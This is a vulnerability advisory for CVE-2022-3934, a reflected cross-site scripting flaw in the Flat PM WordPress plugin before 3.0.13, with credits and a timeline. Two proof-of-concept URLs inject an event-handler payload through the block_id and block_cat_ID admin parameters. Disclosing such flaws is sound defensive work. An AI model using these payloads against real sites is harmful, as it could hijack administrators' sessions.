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WordPress Plugin Vulnerabilities

Flat PM < 3.0.13 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

v < 3.0.13 (the block_id needs to start with an existing block ID
https://example.com/wp-admin/admin.php?page=blocks_form&block_id=567"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

v < 2.662
https://example.com/wp-admin/admin.php?page=blocks_form&block_cat_ID=1"+style=animation-name:rotation+onanimationstart=alert(/XSS/)// 

Affects Plugins

flatpm-wp
Fixed in version 3.0.13

References

CVE
CVE-2022-3934

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

cydave

Submitter

cydave

Submitter website
https://cyllective.com/
Submitter twitter
cyllective
Verified

Yes

WPVDB ID
ab68381f-c4b8-4945-a6a5-1d4d6473b73a

Timeline

Publicly Published

2022-11-17 (about 4 months ago)

Added

2022-11-17 (about 4 months ago)

Last Updated

2023-02-27 (about 29 days ago)

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